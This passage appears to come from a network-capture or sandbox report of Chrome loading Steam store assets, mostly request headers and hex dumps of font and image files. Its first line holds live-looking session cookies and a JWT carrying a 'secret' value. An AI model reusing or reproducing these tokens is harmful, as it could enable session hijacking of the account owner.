session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA; timezoneOffset=-14400,0
2024-10-06 11:20:59 UTC	1048	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:39 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rHf9kk1Rr%2BhwEiMxQCeCsOUi4KKZ9V7APOOp%2F878SLMhwpQTnjP5IZDzhVCiL9FAdtlYII6e6R4pPb651FAptrqgdDQIKwYkwDhQumgMXaZS6WBB0pX4nYqdLKNN0kpdLR7Hk07cNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543ea9d6c1a0f-EWR
2024-10-06 11:20:59 UTC	321	IN	Data Raw: 37 31 62 30 0d 0a 77 4f 46 32 00 01 00 00 00 00 71 b0 00 0f 00 00 00 00 eb 78 00 00 71 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 60 16 8b 60 00 8d 1c 08 2a 09 82 59 11 0c 0a 83 91 6c 82 d2 65 01 36 02 24 03 87 22 0b 84 18 00 04 20 05 97 73 07 20 0c 81 53 1b d1 c8 87 82 80 8d 03 00 40 dd 3c 44 14 f5 e1 11 c9 49 ab 07 e0 ff ff 43 42 b8 a9 6a c0 1f 7e fa e5 b7 3f fe fa e7 3f ff fb 47 e8 f0 39 6f 08 40 ae dd 1b 41 fc 44 7e 82 3e e8 83 c6 a9 b9 69 a8 2d 5f 88 d3 7f fb 06 4e d0 89 f2 71 24 8b 24 ad 27 5a ec dd db 56 15 92 d9 53 b7 2f 51 b7 5c 1f 50 55 78 9e b7 fb 3c f7 c3 1b 69 82 37 5f d8 ad 02 2f 80 79 11 31 41 9d a2 f6 4b 5c 92 4d 93 1a ac 92 3d 5e b7 af e4 bf c9 d3 c9 4b 08 83 07 f8 92 35 73 f0 dd 13 13 b2 da 42 d1 9c b8 Data Ascii: 71b0wOF2qxqT``*Yle6$" s S@<DICBj~??G9o@AD~>i-_Nq$$'ZVS/Q\PUx<i7_/y1AK\M=^K5sB
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: 79 5e 37 ff 64 12 41 99 ca 08 2b 04 02 61 8d 20 3b 8f 6c 02 81 24 24 40 c2 0a 12 e6 8e 02 be cb 70 40 c0 01 ae 81 51 dc f5 3b 90 aa 58 89 b3 75 b4 b4 8e 2e 3b 70 b7 da fa 6d 6d f7 ff be e1 f9 6d f6 3e f0 01 c1 00 91 89 1f 71 88 80 91 88 ce 58 08 02 46 11 82 13 d0 89 15 db 54 8c bc ff d5 b1 b9 70 55 ae d5 b5 bb d0 b9 bc 93 85 ab b0 ee 7a ed b9 cb 55 e3 97 6a af ef 44 4a 72 08 61 1d 32 87 77 3a 85 9c 4b 1c b0 47 ae 3f 08 60 92 38 9c de bd 6b 77 2e 43 08 55 ed d2 4d 65 ff ff 4d 35 5b 42 ca 95 74 1d 52 95 53 d1 a4 dc a7 aa a1 de ff 03 c8 ff 63 00 9d 3f 20 69 cd 10 b4 ce 00 14 d7 a3 3c 60 38 06 e9 5d 04 85 21 87 92 41 52 61 53 08 f4 80 54 80 c2 ee 02 4a 87 da c8 75 48 61 53 a8 1c 72 a8 1a 77 2e dd b5 3e ee 5c 94 a5 5d ba f3 f1 95 a9 da e2 f9 9a 89 b1 b2 33 9c Data Ascii: y^7dA+a ;l$$@p@Q;Xu.;pmmm>qXFTpUzUjDJra2w:KG?`8kw.CUMeM5[BtRSc? i<`8]!ARaSTJuHaSrw.>\]3
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: 37 bb cc 3d f3 3b d2 8e ac 13 d9 39 b2 77 e4 b0 a8 02 51 5d a3 e6 47 1d 8c 3a 16 ed 11 5d 22 3a 2b 26 3c a6 44 cc ca 98 88 d8 2b 09 95 13 ae 25 86 24 b5 4b ba 9c 74 2b e9 73 56 16 11 11 05 91 b6 41 8e f7 23 82 9c 1c 4e de fb 17 77 4a a1 b2 53 3b d4 62 72 8f 67 ec ef 0c 76 46 38 a3 9d 89 93 67 86 f6 85 2e 86 6e 3f f8 9f 13 39 d9 6b 62 be a9 55 9f d7 aa e7 bc f7 88 d4 ff 19 11 6e 0f f6 8d 08 7e 7e cb 3f af 35 a1 61 a1 ed cf ed f4 8b a6 fa 0b b3 d3 2e bb 65 25 64 fd ce 15 9b 6b 47 ae 1e b9 28 67 d7 ec ab b3 cf 21 ca 16 96 2d dd 2a c3 29 9c 4c c4 09 1c 8b 99 7d 17 ca f2 67 7e c3 af b2 f9 f1 21 7e 8c df f2 7d be c7 b7 89 f8 29 df e5 ab 44 bc ef f1 5f 68 3b 88 78 03 4f e1 f1 3c 86 47 f3 28 3e cf 75 b8 0a 97 e3 92 5c 14 86 1b 11 71 79 2e 8b 3d f8 85 9f f8 88 0f Data Ascii: 7=;9wQ]G:]":+&<D+%$Kt+sVA#NwJS;brgvF8g.n?9kbUn~~?5a.e%dkG(g!-*)L}g~!~})D_h;xO<G(>u\qy.=
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: b8 86 50 94 81 21 38 c2 13 e6 74 6c f8 72 ce de 98 08 61 d4 3c 8a 6d 2d f2 38 ce 1a e9 fb 94 5b 0a 7d a5 bb 3a f9 10 6b 3d cc 66 51 bd 4c 65 51 a9 50 bb 41 0a 31 2f 8c 3f b9 25 b7 56 f2 fc 49 f0 bc 6f ca 80 71 8c ab 74 61 d1 e9 4a 09 45 70 73 a1 78 90 91 57 e3 c7 b9 12 95 c2 ce 2d 48 14 82 e4 45 ad e1 14 11 26 f1 29 71 90 68 9b bf f9 e4 e2 dc 5c 52 99 5b e9 a6 d9 20 c0 43 2c fa f2 28 a4 54 e6 8e 0c 18 dd 28 43 0f 67 6d 63 c1 32 58 be 54 4a 74 09 05 96 21 0c 61 51 28 19 08 01 9e a0 02 3c 3d 22 cb dd ad f9 60 cb 25 4f c5 f3 05 12 8a 2b e1 48 76 7b 7e c9 2d 86 b5 6b ac 5d 29 72 7e 01 80 3d c8 9d 9e 05 4e 01 a8 8d 14 4d 9c 1f 7e 77 3e 3a 45 94 f1 21 8e ad 7e 94 df 64 02 83 66 25 9d 04 5b ad eb f0 c2 51 0b 21 20 5a 01 bb 1b 2f e3 83 3e a5 d4 d6 93 60 25 54 72 Data Ascii: P!8tlra<m-8[}:k=fQLeQPA1/?%VIoqtaJEpsxW-HE&)qh\R[ C,(T(Cgmc2XTJt!aQ(<="`%O+Hv{~-k])r~=NM~w>:E!~df%[Q! Z/>`%Tr
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: da 46 c8 e4 49 45 91 91 ec 16 60 3e fe dc e4 d6 4e 0f 3f 05 e7 84 38 1b cb d9 71 6c 26 89 25 6f 6d 16 94 a2 aa ad 60 25 68 3c 06 aa 20 d9 0f ff 92 7e 99 50 05 6c 25 88 fe 9a 79 11 13 d9 ce 0d 0b e6 96 81 00 71 64 f9 d4 fa 5c d3 8a 06 07 bc 93 61 69 d0 04 c2 b7 99 a7 83 d8 48 aa 48 b9 d3 06 08 84 b7 11 29 90 31 cc 38 6f 7d ea 00 50 89 41 0e b5 b6 67 2b ad d5 7d 9c 92 d7 44 b5 5d 15 b4 5d 82 26 02 75 48 55 4e 29 2d 65 22 d0 0a 54 f4 ea 78 2e 6d 35 c6 8f 27 6f f8 96 e0 c7 77 75 97 3b a8 3d 64 6c 7b f5 21 2e 68 a0 2a 0f 3c e3 44 48 31 50 50 be ea aa bb b6 09 1c d6 d6 7e da b6 4e 95 6b c8 6d a8 80 cc 2b 7b 8e 7e f6 75 48 0a b5 34 42 24 55 93 6e 46 d0 16 53 7f 55 53 f7 8f 8c 4f b0 f7 d6 d4 71 86 6e 86 87 41 fe 55 ed a5 63 83 03 ac e7 0e 38 04 c0 27 ca 3b 47 81 Data Ascii: FIE`>N?8ql&%om`%h< ~Pl%yqd\aiHH)18o}PAg+}D]]&uHUN)-e"Tx.m5'owu;=dl{!.h*<DH1PP~Nkm+{~uH4B$UnFSUSOqnAUc8';G
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: 8f 52 cb df 23 2e a4 8f 11 c6 7c ed 25 48 d1 50 11 9e 63 b4 89 35 15 9b f6 e0 f4 da b4 09 e6 a1 fe 38 cb e4 db 4e b3 34 63 8f 6c aa ba ec 00 0b 8b 45 db e6 af 5c bb d9 a7 ac 0a 00 71 bc 50 e6 bd 2d 09 04 7b ef 24 65 97 b4 bc 82 e5 c3 79 c7 5d a0 85 60 09 1f 21 19 ea 1c f9 62 25 e5 30 13 1a 7d e9 ef 28 88 79 47 e5 28 4f 39 05 88 c4 52 c4 31 a8 98 13 94 7e 46 c2 a8 26 e7 f2 ac 4e 47 07 2a 10 44 11 01 8a c8 fe f3 d0 de c9 bb 57 0c c7 12 df 1a 28 2a 60 8a 6c 0e 78 19 11 9c 47 04 67 b4 85 e6 30 2e 55 eb b5 bb d7 ae 29 6d fe a3 47 cf 1e e9 73 b9 d7 d1 cc e3 da 9e 3e 7d f9 d4 fc a9 c9 5b 93 93 75 7e 6c 91 e6 d7 82 1f e2 b8 bf ca f7 33 68 fd 9a 0b f5 db 8b 8e 3a a7 0b 3d 7d 3e 99 79 f9 f2 da 6d 25 66 d3 9c 59 c1 c9 5b b9 4c d6 4e 47 d1 6d 13 5c 47 0b 72 72 59 03 Data Ascii: R#.\|%HPc58N4clE\qP-{$ey]`!b%0}(yG(O9R1~F&NGDW(`lxGg0.U)mGs>}[u~l3h:=}>ym%fY[LNGm\GrrY
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: d4 64 9a a9 3a 0a c8 bc ea 14 5a 65 ac 1c 95 f9 87 4c f3 0d 33 cf 65 c1 5d 52 07 82 b6 a8 92 06 8c 53 a4 02 4c cc bb 81 3a fa d6 ad cd ce d8 95 85 c7 14 c9 38 98 ba 31 82 bd 4b 57 af 5e 3d 5f 92 6b a3 93 93 93 17 91 3b 34 35 d5 80 64 fc f0 e9 d2 b5 ef 02 9d ca 73 93 53 79 99 97 f1 5a 3d da 2f b5 9f ba f6 e9 a6 41 62 51 4e 79 2e aa 73 6a 7a 3a ef 33 db c3 15 76 c7 c9 3b 85 23 40 03 a3 a0 50 de c9 f2 87 b1 1a 8d e1 e0 3d 98 22 dd b9 3f 87 ca 45 79 68 6b 1e e7 78 de b9 27 29 26 91 94 e3 9d 1f 1e 5e d5 35 38 78 16 71 94 11 13 59 07 85 58 4d 11 e1 7c 0e c3 f0 2f 51 64 00 2b 5e 87 2e cb 9e 3c 65 b5 83 61 a7 30 45 5b 3b 47 42 68 34 8a 2c 40 4c c2 80 ec fa 4c c8 e3 82 c3 c4 1b bf 65 80 99 e5 0c dd 46 36 f0 cc 30 86 76 59 71 64 0b 88 73 28 a3 a4 99 44 53 76 4a 91 Data Ascii: d:ZeL3e]RSL:81KW^=_k;45dsSyZ=/AbQNy.sjz:3v;#@P="?Eyhkx')&^58xqYXM\|/Qd+^.<ea0E[;GBh4,@LLeF60vYqds(DSvJ
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: ab dd 0e 48 31 41 9e 78 6f 5a 72 4d cc 58 c8 1f 74 80 04 0e 93 74 30 82 45 26 b8 43 34 45 a1 bf 2b 1f d4 ce 3d cf af aa 9d 15 c5 bc 7b 39 aa 5f 9f 41 38 83 a5 af df 38 4b 39 21 0f 5e 27 a0 a1 2f 3d d8 81 0b bb 84 c3 08 e6 e1 c4 9f ee 1f 3e 3d 46 06 6e 50 5a c1 91 47 e5 30 ca 52 c0 03 5e cc 4d 74 e7 40 83 a9 be 21 e4 0e f6 5e 27 84 ab 58 33 c8 be 76 d2 6e f8 87 43 8a a1 f3 a4 69 6f ff b8 28 75 94 cc ee eb 21 96 e0 7a 47 ef 25 fe 6b 1e ff 8d 78 ff e4 c0 0d 1a f4 35 1c ee 7b 7e fb 8a 9d f1 c6 9b f6 f6 3f 69 72 5a 06 26 c0 26 3a 90 d9 7b 6f 51 97 ac be 33 59 74 3e 7b a4 91 7b f1 10 0b fa e2 c6 8b d8 9b 98 7b 48 83 a9 a9 99 b5 7d 34 58 c6 de e2 8b ce 65 45 51 b4 80 dc d1 9b ed ee ff c9 13 e2 7f 84 dc db cf e7 b5 01 6e d1 ca 92 2f 17 fd d2 6b 71 4f 0a 24 9d bc Data Ascii: H1AxoZrMXtt0E&C4E+={9_A88K9!^'/=>=FnPZG0R^Mt@!^'X3vnCio(u!zG%kx5{~?irZ&&:{oQ3Yt>{{{H}4XeEQn/kqO$
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: 1e 85 a8 3e f6 26 46 e6 28 35 3c 17 67 bc 97 54 bb 02 0b fb bd c6 0c b9 43 94 1a 75 1a 74 62 d1 eb 20 7e 51 27 fe a0 0d 29 a2 d7 88 3f 8c 43 75 0f f7 1f a8 a0 d8 86 66 0e f4 75 72 b5 fb 83 84 60 ba b3 5b f3 b5 e1 c8 23 0b aa 48 1b 3c 30 92 15 23 46 ed 91 d5 de 55 86 eb 84 55 07 dd d1 56 4d 0e b6 be 41 80 70 26 eb 6c f8 a5 53 c3 d1 09 3a bd 58 7b d2 33 be 31 36 f3 51 91 2e c5 fd 70 a5 fc 61 93 f1 38 a4 32 5a bd 56 d1 e8 c8 dc 18 ca 92 1d 51 a4 e4 0a 8d 2b 7d 14 77 a6 9a 50 1f 02 fe 4d bb 6b 8d b2 9b f6 4b 7a 8d 7a 9d 0b 13 13 8d e3 3e 82 24 98 cd d5 57 b9 71 db 99 97 34 78 be d6 3a 33 42 83 86 33 13 13 73 34 58 6b f4 dd 4e c3 4d 9a c6 0f 4d c3 b4 91 5b 4f 67 31 70 63 6e 6e a0 31 cc be 97 15 ea 43 6c 83 cf 95 a0 fe e8 d2 ee 06 ce 6b 50 bd 73 ab 64 52 6c 96 Data Ascii: >&F(5<gTCutb ~Q')?Cufur`[#H<0#FUUVMAp&lS:X{316Q.pa82ZVQ+}wPMkKzz>$Wq4x:3B3s4XkNMM[Og1pcnn1ClkPsdRl
2024-10-06 11:20:59 UTC	1369	IN	Data Raw: eb 6e 24 9b 1b 0f 74 ac cd 37 92 cd 8d cc fe 49 22 50 55 98 f0 e3 bc 25 fa db fb 49 7c a6 04 1d e3 86 a1 31 f8 a1 a9 92 fd b5 b5 21 f6 7e d1 29 3f 14 a6 d9 e1 42 e4 55 74 10 43 3f 09 fa 3a 35 7c cf b4 2c 33 c0 9d bf 79 b3 78 78 ec 27 a7 ad c1 2e 29 af fa 1e cf 6e c9 e4 0a 65 41 9b a9 c1 ff 5c 32 6a 2c bd 1e ec 16 ef 93 fc 49 17 d8 f7 8c 1f ea 05 27 6b 3a 73 cb c9 f4 11 b6 b6 c8 42 04 2b ca 94 68 29 53 88 ac e6 c6 10 0a 1d b0 6b 98 0e 49 21 f8 e2 a6 2b ba 89 b0 46 14 a5 2e 48 0b 11 8c 15 ca 4c 9f 32 81 b7 a7 9f 6c 94 d0 00 0f b0 fa 0b b1 8f 1f db 86 ac e3 5c 1c 43 46 2b 45 32 10 6e 91 fb 06 bd 2c 45 32 45 22 98 e2 1b f5 4c 41 17 7f 9b ce ee bd ad 8b 4d ea 56 a5 93 c7 77 37 0c 45 51 74 60 f7 9e 96 7d 2d 3d 71 62 1d 77 ef ed 1a 3d 7b 76 45 1c 58 13 b0 e8 2a Data Ascii: n$t7I"PU%I\|1!~)?BUtC?:5\|,3yxx'.)neA\2j,I'k:sB+h)SkI!+F.HL2l\CF+E2n,E2E"LAMVw7EQt`}-=qbw={vEX*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49814	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	585	OUT	GET /public/images/ico/ico_twitter.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1429 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close X-N: S
2024-10-06 11:20:59 UTC	1429	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 d7 d7 d8 e1 e1 e2 55 56 5c db db dc 8b 8c 90 c8 c9 cb 68 69 6e b1 b2 b5 52 54 5a 52 53 59 a3 a4 a7 a4 a5 a8 be bf c1 65 67 6c 85 86 8a 46 47 4e c9 ca cc 8e 8f 93 3b 3c 43 e4 e4 e5 cb cb cd 5c 5d 63 72 73 78 54 56 5c 3b 3d 44 3f 41 48 36 38 3f 3f 40 47 d3 d4 d5 98 99 9d 69 6b 70 59 5b 61 f8 f8 f8 de de df 91 92 96 e5 e5 e6 8c 8d 91 38 3a 41 83 84 88 c1 c2 c4 42 44 4a ad ae b1 a2 a3 a6 61 62 68 e6 e6 e7 59 5a 60 81 82 87 73 74 79 ba bb bd 4c 4e 54 4d 4f 55 d9 d9 db df df e0 3e 40 46 4b 4d 53 a0 a1 a4 53 55 5b 37 39 40 42 44 4b 41 43 49 35 37 3e 00 00 00 00 00 00 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: GIF89aUV\hinRTZRSYeglFGN;<C\]crsxTV\;=D?AH68??@GikpY[a8:ABDJabhYZ`styLNTMOU>@FKMSSU[79@BDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49817	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	391	OUT	GET /public/images//v6/temp/cluster_bg_2.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	271	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 144661 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-23515" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 21 00 00 01 f4 08 06 00 00 00 03 b9 37 c5 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR!7tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 9e aa a0 da dc 30 ae e7 f1 28 c0 72 f5 cc 28 2d 0e d9 6b 15 75 70 34 6d 98 91 1d d5 fd 1c ec 45 88 50 71 00 10 59 ca 49 75 cd 2c e5 65 14 40 41 9d cf 83 80 4b 24 7e 59 11 18 19 e1 d5 49 b1 08 61 bd 0d d3 23 68 2a c0 ae 68 37 54 4e 7c 46 ac 46 31 8f 43 b0 1d 16 6d 37 00 51 91 69 4d 38 21 fb 0c 3c 93 ba 1f 98 f1 68 d7 19 9f 26 04 82 0a e9 b2 84 e0 ff 29 da 2b 77 ec e7 4a 65 13 b6 a7 dc 55 0d 21 c4 b1 56 fd d7 57 12 03 4a 1a c6 57 af a2 d1 d1 17 72 61 8e 6f 12 62 b7 6f 45 3c 28 20 14 4d 18 54 43 5d 09 c9 47 13 f6 15 8b 8d 2a 2c 65 c0 11 60 ce 63 dc 30 66 2b 36 de 0c e4 b2 d3 4d 14 aa 7e 25 c2 44 e9 27 06 24 66 ea b7 33 92 49 71 44 2a 82 8d 69 19 64 00 f5 38 81 53 03 a0 1d 39 fc 4c cb 62 a6 2f 99 46 07 3a a1 fc 05 40 03 00 bd 2b 42 68 01 c0 78 65 df 15 b9 83 Data Ascii: 0(r(-kup4mEPqYIu,e@AK$~YIa#hh7TN\|FF1Cm7QiM8!<h&)+wJeU!VWJWraoboE<( MTC]G,e`c0f+6M~%D'$f3IqD*id8S9Lb/F:@+Bhxe
2024-10-06 11:20:59 UTC	2220	IN	Data Raw: 74 10 80 6b 05 81 56 e9 2a a0 74 2f 46 be 3d 93 49 e7 b0 7f d4 57 67 3b 7e 58 1d 52 ed c6 d3 20 86 f0 b9 8c 10 aa c8 62 65 fe 18 00 18 59 94 01 d3 7f 1a c6 2b 1f a1 35 bc ea bb f3 9e f1 20 c4 53 45 76 56 91 72 61 38 1a 6a 58 9d ca f4 20 fe 54 95 96 52 91 d0 28 3a c0 0b 32 94 81 b5 30 5e 25 06 a5 4b 1a 19 f7 aa f4 68 00 9b ca f6 fa 61 7a c4 9e aa 67 90 f5 83 7a 82 9e f9 a9 ac ba 50 18 4e 9b 0b 40 16 b0 77 8d 62 8f 09 e0 07 57 d7 0f c3 1a 35 6c de ba e9 3a 68 9d 43 8f 8a 08 52 84 e6 bb 18 c8 2e 7e 67 26 8d 62 25 f1 70 15 f7 7d c9 f6 93 4b 74 56 65 a7 14 96 b6 5a a8 57 4f 18 6f bc 8b 59 1d e2 a7 a6 7d 54 21 e6 d5 64 09 61 33 9b 59 14 14 a6 f5 f9 39 0f e2 90 1a 20 4d 4c 20 54 2a 60 ca 00 7a f6 ac 4c f9 16 69 29 64 0b 7a 95 3e 30 c0 46 1c 60 23 c8 c2 b4 d9 c9 Data Ascii: tkVt/F=IWg;~XR beY+5 SEvVra8jX TR(:20^%KhazgzPN@wbW5l:hCR.~g&b%p}KtVeZWOoY}T!da3Y9 ML T`zLi)dz>0F`#
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 88 03 98 e2 07 8b b3 2e f6 2d 43 d2 8d b2 08 e3 80 bc 03 c7 69 dc 4e 01 62 40 bb 02 cc 82 24 77 84 d7 2e 0a 09 4c 53 44 11 8e 53 90 ff ee dd 2a f2 53 9d c7 17 21 30 7f 3d 8b 37 f2 88 5d 33 36 3b 4d 3c 4b e3 21 8e 08 9e 82 a4 1a f0 a3 12 ea cc 61 c2 b8 ae 13 d8 8d a6 34 f7 e4 ce de 21 ee 3d e5 2a 2e cf 73 e7 c4 93 0e 59 b6 a6 96 c9 f1 1d e9 e0 e2 c3 2e 70 cc 0e 39 95 c3 22 ee f7 9f 8e 76 4f f4 1d 0e 4f b0 58 72 bf 6b b0 e1 a7 04 c5 27 23 1d 4f ff ed bf 8d 85 f8 4f 1e c7 70 e2 80 ee 80 4f 55 e3 54 49 41 91 a0 3a 72 e2 89 c5 23 0a 56 b4 65 09 53 e5 28 01 fc 6d 18 e8 f4 2c 77 79 4f 8a a8 38 ab 75 ae e2 b3 45 20 5f 82 ed 77 09 1e 4b 24 9b c0 e3 c4 29 87 38 1c da ca ba eb 54 d8 81 d5 66 55 3b 96 58 9d f7 a0 aa ce f7 eb 78 e3 7f 45 ab de b7 ef be 04 f9 c0 9e 3f Data Ascii: .-CiNb@$w.LSDSS!0=7]36;M<K!a4!=.sY.p9"vOOXrk'#OOpOUTIA:r#VeS(m,wyO8uE _wK$)8TfU;XxE?
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 7c 90 13 1c 51 41 cc 25 7c 9f 10 11 4f 59 a1 5d 7e 77 ab a0 3a 3e fc ce 81 ac 2e db 58 30 21 b0 91 29 71 6e bd 87 97 d9 9c 4e bc c6 cd f4 31 5b 21 65 37 78 fe d9 22 d5 8b f3 80 61 ea c9 cb 54 42 46 38 b0 21 88 83 5d b0 c2 08 95 03 f7 0c 19 e0 bd 27 49 bb 08 98 aa 6d 74 16 c4 14 1b 65 01 b4 97 3c 9b a3 3d 47 46 86 a8 1a 30 2f 7a 57 89 b9 bb 7e 28 f0 98 98 71 c0 0b 5d a6 a4 78 06 b0 f4 6b c6 3d b5 d8 03 bc 7b 61 88 04 3a 59 90 c1 3c 5f 57 c5 41 b1 7e 93 05 d6 99 4c 9c 4e 2c 67 eb 7f 53 5d 1b 01 3c 02 9d ed e5 27 24 02 0c 61 9c da ef d9 75 2c 03 4a 93 fe 48 52 75 1f c8 e3 6c 00 77 ee 61 7f e7 46 39 60 c8 54 b5 47 52 85 53 ed 59 45 9e e1 88 69 4e fc ae 21 61 92 45 23 3b 57 36 72 87 dc 28 89 35 94 24 88 72 14 59 a1 a8 91 da 6e 93 26 53 d3 9d 98 e6 ac 53 0b f2 Data Ascii: \|QA%\|OY]~w:>.X0!)qnN1[!e7x"aTBF8!]'Imte<=GF0/zW~(q]xk={a:Y<_WA~LN,gS]<'$au,JHRulwaF9`TGRSYEiN!aE#;W6r(5$rYn&SS
2024-10-06 11:20:59 UTC	7952	IN	Data Raw: 77 0a 5b 09 39 a9 08 b9 69 f2 e6 81 7c 54 e8 cc d1 9c c5 a8 1b 39 aa 2a f9 ac 78 55 75 69 a9 ae 99 6a 7c f4 9e 83 3a 61 54 d5 29 b8 a0 bb 29 36 b4 fe 84 22 e0 95 90 38 3b d3 17 c1 38 d5 73 49 04 27 95 ce 53 85 21 96 89 f3 4e 47 a2 22 12 00 5e cc 03 f8 a8 4d aa 8b f3 5d 30 55 9d 72 2a c7 53 36 97 ae 98 d3 c1 99 20 a4 87 fa 3d 47 48 a2 49 d4 26 71 e9 97 df ff fa e5 15 e8 36 64 7c e6 cf 27 94 38 1d cb 94 88 3d ba eb 1b e1 ef aa d1 92 dd 7c 90 e9 66 4f ac 68 06 32 a1 9b 74 bd d5 75 4d c3 a0 3a 5b 38 75 08 0f 93 d8 aa 19 cb 05 2e 96 e8 9c 09 16 7c 85 98 01 f8 